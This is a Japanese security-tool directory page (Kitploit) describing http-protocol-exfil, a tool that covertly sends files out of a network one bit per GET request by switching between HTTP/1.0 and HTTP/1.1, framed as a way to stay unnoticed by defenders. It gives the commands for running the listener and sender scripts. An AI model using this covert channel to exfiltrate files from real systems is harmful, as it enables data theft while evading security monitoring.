Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
http-protocol-exfil — HTTPプロトコルバージョンを使用してファイルを外部に送信します("HTTP/1.0"は0、"HTTP/1.1"は1) | Kitploit
ツール/GitHubGitHub/ricardojoserf/http-protocol-exfil
データ流出ネットワークセキュリティ
GitHubricardojoserf/http-protocol-exfil

http-protocol-exfil

HTTPプロトコルバージョンを使用してファイルを外部に送信します("HTTP/1.0"は0、"HTTP/1.1"は1)

リポジトリを見る
24224年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

http-protocol-exfil

HTTPプロトコルバージョンを使用して、ファイルを1ビットずつ送信します("HTTP/1.0"は0、"HTTP/1.1"は1を表します)。GETリクエストを使用するため、Blue TeamはあなたのIPアドレスへのリクエストのみを確認します。ただし、大きなファイルを送信するには時間がかかり、例えば200KBを送信するのに1時間必要で、リクエスト数は非常に多くなります(ファイルのバイト数の8倍)。

memillo

リスナーの作成

リスナーを実行するには、listener.pyを使用します。オプションの引数としてリッスンするポートを指定します。

root@kitploit:~
python3 listener.py [PORT]

例:

root@kitploit:~
python3 listener.py 8080

ファイルの送信

ファイルを送信するには、sender.pyを使用します。2つの必須引数(ファイルパスとリスナーのURL)と、1つのオプション引数(リモートで作成されるファイル名、指定しない場合は入力ファイルの名前が使用されます)を指定します。

root@kitploit:~
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

例:

root@kitploit:~
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

例

最初にファイルが送信されます:

image1

変数 debug が True に設定されている場合(デフォルトでは True)、リスナーのログメッセージにバイナリ値が表示されます:

image2

入力ファイルの内容で新しいファイルが作成されます:

image3


動機

(確かではありませんが)Twitterで誰かがこれを使ってデータを外部に送信したと読んだ記憶があり、そのアイデアが気に入りました。もしその方なら教えてください。

ツールをダウンロード